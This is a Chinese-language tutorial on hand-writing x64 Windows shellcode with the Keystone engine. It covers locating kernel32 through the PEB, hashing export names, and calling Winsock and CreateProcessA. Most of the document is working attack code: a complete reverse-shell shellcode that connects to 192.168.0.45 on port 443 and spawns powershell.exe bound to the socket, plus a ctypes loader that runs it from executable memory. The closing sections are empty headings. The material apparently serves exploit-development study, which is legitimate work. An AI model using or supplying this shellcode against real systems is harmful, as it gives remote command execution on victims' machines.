Shellcode 编写
测试方法
使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。
我们首先需要通过 pip 安装 keystone 引擎:
pip3 install keystone-engine
然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。
import ctypes, struct
from keystone import *
CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes
............
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
寻找 KERNEL32
在 TEB 的 0x60 处,访问到 PEB 的指针:
mov rax, gs:[0x60]
在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:
mov rsi,[rax+0x18]
访问该 _PEB_LDR_DATA 结构体,里面有多个成员。下半部分的输出给出了更详细的结构体成员信息,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleList,InMemoryOrderModuleList,和 InInitializationOrderModuleList。
InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。
保存 InMemoryOrderModuleList 的地址。
mov rsi,[rsi+0x10]
InMemoryOrderModuleList 是一个 _LIST_ENTRY 类型的结构体,有着 2 个成员 Flink 和 Blink,在双向链表中分别用于访问下一个和上一个条目:
PEB
|
|---> _PEB_LDR_DATA
|
|---> InLoadOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InMemoryOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InInitializationOrderModuleList (_LIST_ENTRY)
|
|---> _LDR_DATA_TABLE_ENTRY (module 1)
|---> _LDR_DATA_TABLE_ENTRY (module 2)
|---> ...
定位所需 API
函数哈希脚本如下:
#!/usr/bin/python
import numpy, sys
def ror_str(byte, count):
binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))
if __name__ == '__main__':
try:
rsi = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()
# Initialize variables
rdx = 0x00
ror_count = 0
for rax in rsi:
rdx = rdx + ord(rax)
if ror_count < len(rsi)-1:
rdx = ror_str(rdx, 0xd)
ror_count += 1
print(hex(rdx))
调用 API
WSAStartup
int WSAStartup(
WORD wVersionRequired, # 0x0202 == Version 2.2
[out] LPWSADATA lpWSAData # Pointer to where a WSADATA structure will be populated
);
WSASocketA
SOCKET WSAAPI WSASocketA(
[in] int af, # RCX (AF_INET == 2)
[in] int type, # RDX (SOCK_STREAM == 1)
[in] int protocol, # R8 (IPPROTO_TCP == 6)
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo, # R9 (NULL)
[in] GROUP g, # Stack (NULL)
[in] DWORD dwFlags # Stack (NULL)
);
WSAConnect
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
CreateProcessA
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
STARTINFO 结构体
微软文档中给出的结构信息:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
但在内存中,成员的大小与微软文档中的有所不同:
0:004> dt combase!STARTUPINFOA
+0x000 cb : Uint4B
+0x008 lpReserved : Ptr64 Char
+0x010 lpDesktop : Ptr64 Char
+0x018 lpTitle : Ptr64 Char
+0x020 dwX : Uint4B
+0x024 dwY : Uint4B
+0x028 dwXSize : Uint4B
+0x02c dwYSize : Uint4B
+0x030 dwXCountChars : Uint4B
+0x034 dwYCountChars : Uint4B
+0x038 dwFillAttribute : Uint4B
+0x03c dwFlags : Uint4B
+0x040 wShowWindow : Uint2B
+0x042 cbReserved2 : Uint2B
+0x048 lpReserved2 : Ptr64 UChar
+0x050 hStdInput : Ptr64 Void
+0x058 hStdOutput : Ptr64 Void
+0x060 hStdError : Ptr64 Void
完整的初版 Shellcode 如下:
import ctypes, struct
from keystone import *
CODE = (
" start:"
" int3;"
" call find_kernel32;"
" mov rbp, rax;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" call parse_module;" # Search GetProcAddress' address
" mov r13, rax;" # R13 = GetProcAddress Address
" call load_module;" # Load ws2_32.dll
" int 3;"
" ret;"
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
" mov r12, 0x0045004E00520045;" # Unicode string "ENRE"
" mov r13, 0x002e00320033004c;" # Unicode string ".23L"
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" check_lower:"
" mov r12, 0x0065006E00720065;" # Unicode string "enre"
" mov r13, 0x002e00320033006c;" # Unicode string ".23l"
" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "enre"
" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23l"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" mov r15d, dword ptr [r9 + rcx + 0x88];" # Fetch RVA of Export Directory
" add r15, r9;" # R14 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" load_module:"
" mov rax, 0x6c6c ;" # Move "ll" into RAX
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" add rsp, 0x10;" # Clean up WS2_32.DLL string
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" mov rcx, 0x202;" # wVersionRequired
" sub rsp, 0x58;"
" call rax;" # Call WSAStartup
" add rsp, 0x58;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x58;"
" mov rcx, 2;" # 2
" mov rdx, 1;" # 1
" mov r8, 6;" # 6
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x58;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" sub rsp, 0x200;" # Reserve space for socketaddr
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" mov rdx, 2;" # AF_INET = 2
" mov [rsp], rdx;" # Store structure socketaddr
" mov rdx, 0xbb01;" # Port 443 01bb
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov rdx, 0x2d00a8c0;" # IP 192.168.0.45
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" mov r8, 0x16;" # namelen = 16 bytes
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x58;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x58;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x6578652e6c6c;" # Push string "exe.ll"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x100;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub rdx, 0x500;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
" ret;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
去除 0x00 字节
PIC 代码
参考: